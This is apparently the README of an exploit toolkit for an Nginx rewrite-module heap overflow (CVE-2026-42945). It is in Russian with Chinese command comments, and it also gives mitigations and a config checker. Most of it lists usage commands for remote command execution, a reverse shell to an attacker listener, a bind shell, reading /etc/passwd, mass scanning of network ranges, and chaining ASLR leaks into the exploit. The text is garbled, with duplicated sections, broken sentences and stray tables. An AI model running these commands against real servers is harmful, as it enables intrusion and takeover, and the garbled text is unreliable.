
CVE-2026-42945 Nginx Rift
Комплексный proof-of-concept инструментарий для CVE-2026-42945 (Nginx Rift) — критической уязвимости переполнения буфера в куче в модуле ngx_http_rewrite_module сервера Nginx.
| Поле | Сведения |
|---|---|
| Идентификатор CVE | CVE-2026-42945 |
| Название | Nginx Rift |
| Тип | Переполнение буфера в куче |
| Компонент | ngx_http_rewrite_module |
| Критичность | Критическая (CVSS 9.2) |
| Затронутые версии | Nginx 0.6.27 - 1.30.0 |
| Исправлено в | Nginx 1.30.1 / 1.31.0 |
Уязвимость возникает из-за неверного расчёта размера между двумя внутренними проходами при обработке правил rewrite. Если в конфигурации используются:
$1, $2 и т.д.)?Nginx неверно вычисляет требуемый размер буфера на первом проходе и на втором проходе записывает данные за пределы выделенного буфера в куче.
server {
# VULNERABLE: Unnamed capture ($1) + '?' in replacement
location /api/ {
rewrite ^/api/(.*)$ /v1/$1?version=2 last;
}
}
server {
# SAFE: Named capture (?P<path>) replaces $1
location /api/ {
rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;
}
}
nginx_rift_poc.py - основной PoC-инструментСканер уязвимостей и инструмент эксплуатации для одной цели.
Возможности:
ServerИспользование:
# Detect version and test vulnerability
python nginx_rift_poc.py -t target.example.com
# Test with custom payload
python nginx_rift_poc.py -t target.example.com -p "/api/AAAA...?x=1"
# HTTPS target
python nginx_rift_poc.py -t target.example.com --ssl -p 443
# Generate vulnerable test configuration
python nginx_rift_poc.py --gen-vuln-config > vuln.conf
# Generate safe (patched) configuration
python nginx_rift_poc.py --gen-safe-config > safe.conf
nginx_rift_scanner.py - массовый сканерПакетный сканер для одновременной проверки нескольких целей.
Возможности:
Использование:
# Scan from target file (format: host:port per line)
python nginx_rift_scanner.py -f targets.txt -o results.json
# Scan single target
python nginx_rift_scanner.py -t example.com -p 443 --ssl
# Scan network range
python nginx_rift_scanner.py -t 192.168.1.0/24 -p 80,443,8080
# High-speed scan
python nginx_rift_scanner.py -f targets.txt --threads 100 -o results.json
Формат файла с целями:
# Comments start with #
192.168.1.1:80
192.168.1.2:443:ssl
example.com:8080
config_checker.py - анализатор конфигурацииСканирует локальные файлы конфигурации Nginx на предмет уязвимых rewrite-шаблонов.
Возможности:
nginx.conf и переход по директивам include? в строках заменыИспользование:
# Scan single file
python config_checker.py /etc/nginx/nginx.conf
# Scan directory recursively
python config_checker.py -d /etc/nginx/conf.d/
# Auto-fix vulnerable patterns (creates .bak backup)
python config_checker.py --fix /etc/nginx/nginx.conf
# Auto-detect common Nginx paths
python config_checker.py
enhanced_poc.py - расширенный RCE PoCПродвинутый инструмент эксплуатации, основанный на официальном исследовании depthfirst; поддерживает множество rewrite-шаблонов и режимов эксплуатации.
Возможности:
/api/, /redirect/, /user/ и т.д.)+, &, =, %)cmd / shell / bind / readngx_pool_cleanup_sИспользование:
# Auto-detect patterns and version
python enhanced_poc.py -t target.example.com --detect
# Execute command (ASLR off)
python enhanced_poc.py -t target.example.com --cmd "id > /tmp/pwned"
# Reverse shell
python enhanced_poc.py -t target.example.com --shell --listen-ip 10.0.0.1 --listen-port 4444
# Bind shell
python enhanced_poc.py -t target.example.com --bind --listen-port 5555
# Read remote file
python enhanced_poc.py -t target.example.com --read /etc/passwd
# Custom heap base (for ASLR-off targets)
python enhanced_poc.py -t target.example.com --cmd "whoami" --heap-base 0x555555554000
# Use & as overflow trigger
python enhanced_poc.py -t target.example.com --cmd "id" --escape-char "&"
Подробности о режимах эксплуатации:
Настройка адресов (только при отключённом ASLR):
--heap-base: базовый адрес кучи целевой системы (например, 0x555555559000)--libc-base: базовый адрес libc (например, 0x7ffff77ba000)--system-addr: прямой адрес system() (переопределяет libc-base)aslr_leak_detector.py - детектор утечек ASLRКомплексный сканер для обнаружения утечек информации, которые могут обойти защиту ASLR.
Возможности:
/nginx_status, /actuator/* и т.д.)enhanced_poc.py через JSON-отчётИспользование:
# Scan single target
python aslr_leak_detector.py -t target.example.com
# Scan with SSL
python aslr_leak_detector.py -t target.example.com -p 443 --ssl
# Scan from file, save report
python aslr_leak_detector.py -f targets.txt -p 80,443 -o leak_report.json
# Scan network range
python aslr_leak_detector.py -t 192.168.1.0/24 -p 80,443
# Quick scan mode
python aslr_leak_detector.py -t target.example.com --quick
Интеграция с расширенным PoC:
# Step 1: Detect leaks
python aslr_leak_detector.py -t target.example.com -o leak.json
# Step 2: Use leaked addresses for exploit
python enhanced_poc.py -t target.example.com \
--heap-base 0x555555559000 \
--libc-base 0x7ffff77ba000 \
--cmd "id"
PoC-инструмент определяет уязвимость по следующим индикаторам:
| Индикатор | Описание |
|---|---|
| Разрыв соединения |
Внешние зависимости не требуются. Используется только стандартная библиотека Python.
# Clone or download the toolkit
git clone <repository-url>
cd CVE-2026-42945
# Verify Python version (3.7+ recommended)
python3 --version
# Run any tool
python3 nginx_rift_poc.py --help
Если немедленное обновление невозможно, замените неименованные захваты именованными:
# BEFORE (VULNERABLE)
rewrite ^/api/(.*)$ /v1/$1?version=2 last;
# AFTER (SAFE)
rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;
Разверните правила WAF для блокировки некорректных запросов, нацеленных на уязвимые rewrite-шаблоны.
Данный инструментарий предназначен только для авторизованного тестирования безопасности и исследовательских целей.
Эта ошибка была обнаружена вместе с тремя другими проблемами повреждения памяти:
| CVE | Описание | Критичность |
|---|---|---|
| CVE-2026-42946 | Ошибка выделения памяти в SCGI/UWSGI | Высокая |
| CVE-2026-40701 | Использование после освобождения (use-after-free) при DNS-разрешении для OCSP | Средняя |
Данный проект предоставляется в образовательных целях и для авторизованного тестирования безопасности.
Автор: Security Research Team Дата: 2026-06-11
CVE-2026-42945 (Nginx Rift) — это уязвимость переполнения буфера в куче в модуле ngx_http_rewrite_module сервера Nginx, существующая с 2008 года (Nginx 0.6.27) и остававшаяся скрытой около 18 лет.
При обработке правил rewrite Nginx выполняет два внутренних прохода. Если в конфигурации одновременно выполняются следующие два условия:
$1, $2)?Nginx неверно вычисляет размер буфера на первом проходе, а на втором проходе записывает данные за границы буфера в куче, что приводит к переполнению кучи.
server {
# 有漏洞:未命名捕获 $1 + 替换字符串中的 ?
location /api/ {
rewrite ^/api/(.*)$ /v1/$1?version=2 last;
}
}
server {
# 安全:使用命名捕获 (?P<name>) 替代 $1
location /api/ {
rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;
}
}
nginx_rift_poc.py — основной PoC-инструментИнструмент обнаружения и эксплуатации уязвимостей на одной цели.
Возможности:
ServerПримеры использования:
# 检测版本并测试漏洞
python nginx_rift_poc.py -t target.example.com
# 使用自定义 Payload 测试
python nginx_rift_poc.py -t target.example.com -p "/api/AAAA...?x=1"
# HTTPS 目标
python nginx_rift_poc.py -t target.example.com --ssl -p 443
# 生成脆弱测试配置
python nginx_rift_poc.py --gen-vuln-config > vuln.conf
# 生成安全(已修复)配置
python nginx_rift_poc.py --gen-safe-config > safe.conf
nginx_rift_scanner.py — массовый сканерМногопоточное одновременное сканирование нескольких целей.
Возможности:
Примеры использования:
# 从目标文件扫描(格式:每行 host:port)
python nginx_rift_scanner.py -f targets.txt -o results.json
# 扫描单个目标
python nginx_rift_scanner.py -t example.com -p 443 --ssl
# 扫描整个网段
python nginx_rift_scanner.py -t 192.168.1.0/24 -p 80,443,8080
# 高速扫描(100线程)
python nginx_rift_scanner.py -f targets.txt --threads 100 -o results.json
Формат файла с целями:
# 井号开头的行为注释
192.168.1.1:80
192.168.1.2:443:ssl
example.com:8080
config_checker.py — анализатор конфигурационных файловСканирует локальные конфигурационные файлы Nginx на предмет уязвимых rewrite-шаблонов.
Возможности:
nginx.conf и рекурсивный разбор файлов, подключаемых через include?Примеры использования:
# 扫描单个文件
python config_checker.py /etc/nginx/nginx.conf
# 递归扫描目录
python config_checker.py -d /etc/nginx/conf.d/
# 自动修复脆弱配置(自动备份原文件)
python config_checker.py --fix /etc/nginx/nginx.conf
# 自动探测常见 Nginx 配置路径
python config_checker.py
enhanced_poc.py — расширенная версия RCE PoCПродвинутый инструмент эксплуатации уязвимостей на основе официального исследования depthfirst; поддерживает множество rewrite-шаблонов и способов эксплуатации.
Возможности:
/api/, /redirect/, /user/ и т.д.)+, &, =, %)cmd / shell / bind / readngx_pool_cleanup_sТаблица расширения символов-триггеров переполнения:
Примеры использования:
# 自动探测配置模式和版本
python enhanced_poc.py -t target.example.com --detect
# 执行命令(ASLR 关闭环境)
python enhanced_poc.py -t target.example.com --cmd "id > /tmp/pwned"
# 反弹 Shell
python enhanced_poc.py -t target.example.com --shell --listen-ip 10.0.0.1 --listen-port 4444
# 绑定 Shell(在目标上监听)
python enhanced_poc.py -t target.example.com --bind --listen-port 5555
# 读取远程文件
python enhanced_poc.py -t target.example.com --read /etc/passwd
# 自定义堆基址
python enhanced_poc.py -t target.example.com --cmd "whoami" --heap-base 0x555555554000
# 使用 & 作为溢出触发字符
python enhanced_poc.py -t target.example.com --cmd "id" --escape-char "&"
Описание режимов эксплуатации:
Настройка адресов (только для среды с отключённым ASLR):
--heap-base: базовый адрес кучи целевой системы (например, 0x555555559000)--libc-base: базовый адрес libc (например, 0x7ffff77ba000)--system-addr: прямое указание адреса system()aslr_leak_detector.py — инструмент обнаружения утечек информации ASLRКомплексный сканер, обнаруживающий утечки информации, которые можно использовать для обхода защиты ASLR.
Возможности:
/nginx_status, /actuator/* и т.д.)enhanced_poc.py через JSON-отчётПримеры использования:
# 扫描单个目标
python aslr_leak_detector.py -t target.example.com
# SSL 扫描
python aslr_leak_detector.py -t target.example.com -p 443 --ssl
# 从文件批量扫描并保存报告
python aslr_leak_detector.py -f targets.txt -p 80,443 -o leak_report.json
# 扫描网段
python aslr_leak_detector.py -t 192.168.1.0/24 -p 80,443
# 快速扫描
python aslr_leak_detector.py -t target.example.com --quick
Совместное использование с расширенной версией PoC:
# 步骤 1:检测信息泄露
python aslr_leak_detector.py -t target.example.com -o leak.json
# 步骤 2:使用泄露的地址进行利用
python enhanced_poc.py -t target.example.com \
--heap-base 0x555555559000 \
--libc-base 0x7ffff77ba000 \
--cmd "id"
PoC-инструмент определяет наличие уязвимости на целевой системе по следующим признакам:
| Индикатор | Описание |
|---|
Устанавливать сторонние зависимости не требуется — для работы достаточно стандартной библиотеки Python.
# 克隆或下载工具包
git clone <repository-url>
cd CVE-2026-42945
# 验证 Python 版本(推荐 3.7+)
python3 --version
# 查看工具帮助
python3 nginx_rift_poc.py --help
Замените неименованные захваты именованными:
# 修改前(有漏洞)
rewrite ^/api/(.*)$ /v1/$1?version=2 last;
# 修改后(安全)
rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;
Разверните правила межсетевого экрана веб-приложений (WAF) для блокировки вредоносных запросов, нацеленных на уязвимые rewrite-шаблоны.
Данный инструментарий предназначен только для авторизованного тестирования безопасности и исследовательских целей.
Эта уязвимость — одна из серии проблем повреждения памяти, обнаруженных системой статического анализа на основе ИИ от depthfirst:
| Идентификатор CVE | Описание | Критичность |
|---|---|---|
| CVE-2026-42946 | Ошибка выделения памяти в SCGI/UWSGI | Высокая |
| CVE-2026-40701 | UAF при DNS-разрешении для OCSP | Средняя |
| CVE-2026-42934 | Выход за границы при чтении в разборе UTF-8 |
Данный проект предназначен только для образовательных целей и авторизованного тестирования безопасности.
Автор: Security Research Team Дата: 2026-06-11
| Режим | Описание | Вывод |
|---|
cmd | Выполнение одной shell-команды | Вывод команды на целевой системе |
shell | Запуск reverse shell | Подключение обратно к --listen-ip:listen-port |
bind | Запуск bind shell на целевой системе | Прослушивание --listen-port на цели |
read | Чтение файла с целевой системы | Содержимое записывается в /tmp/nginx_rift_read |
| Целевая система неожиданно закрывает соединение (крах worker-процесса) |
| Ошибки шлюза | HTTP-ответы 502/503/504 (worker-процесс завершился) |
| Медленные ответы | Время ответа значительно увеличивается (восстановление после сбоя) |
| Пустые ответы | Тело ответа исчезает по сравнению с базовым уровнем |
| Совпадение версии | Обнаруженная версия Nginx входит в уязвимый диапазон |
| Продукт | Затронутые версии | Исправлено в |
|---|
| Nginx Open Source | 0.6.27 - 1.30.0 | 1.30.1 / 1.31.0 |
| Nginx Plus | R32 - R36 | R32 P6 / R36 P4 |
| Nginx Ingress Controller | Все версии до исправлений | Обновление до исправленного релиза |
| Nginx Gateway Fabric | Все версии до исправлений | Обновление до исправленного релиза |
| CVE-2026-42934 |
| Выход за границы при чтении во время разбора UTF-8 |
| Средняя |
| Поле | Сведения |
|---|
| Идентификатор CVE | CVE-2026-42945 |
| Название уязвимости | Nginx Rift |
| Тип уязвимости | Переполнение буфера в куче (Heap Buffer Overflow) |
| Затронутый компонент | ngx_http_rewrite_module |
| Уровень опасности | Критическая (CVSS 9.2) |
| Затронутые версии | Nginx 0.6.27 - 1.30.0 |
| Исправлено в версии | Nginx 1.30.1 / 1.31.0 |
| Символ | Расширяется в | Переполнение на символ |
|---|
+ | %2B | +2 байта |
& | %26 | +2 байта |
= | %3D | +2 байта |
% | %25 | +2 байта |
| пробел | %20 | +2 байта |
| Режим | Описание | Вывод |
|---|
cmd | Выполнение одной shell-команды | Вывод команды сохраняется на целевой системе |
shell | Запуск reverse shell | Подключение обратно к --listen-ip:listen-port |
bind | Запуск bind shell | Прослушивание --listen-port на цели |
read | Чтение файла с целевой системы | Содержимое записывается в /tmp/nginx_rift_read |
| Разрыв соединения | Целевая система аномально закрывает соединение (крах worker-процесса) |
| Ошибки шлюза | Возвращаются HTTP 502/503/504 (worker-процесс мёртв) |
| Замедление ответов | Время ответа значительно увеличивается (автоматический перезапуск после краха процесса) |
| Пустое тело ответа | По сравнению с базовым уровнем тело ответа пустое (worker-процесс завершился) |
| Совпадение версии | Обнаруженная версия Nginx входит в уязвимый диапазон |
| Продукт | Затронутые версии | Исправлено в |
|---|
| Nginx Open Source | 0.6.27 - 1.30.0 | 1.30.1 / 1.31.0 |
| Nginx Plus | R32 - R36 | R32 P6 / R36 P4 |
| Nginx Ingress Controller | Все версии без исправлений | Обновление до исправленного релиза |
| Nginx Gateway Fabric | Все версии без исправлений | Обновление до исправленного релиза |
| Средняя |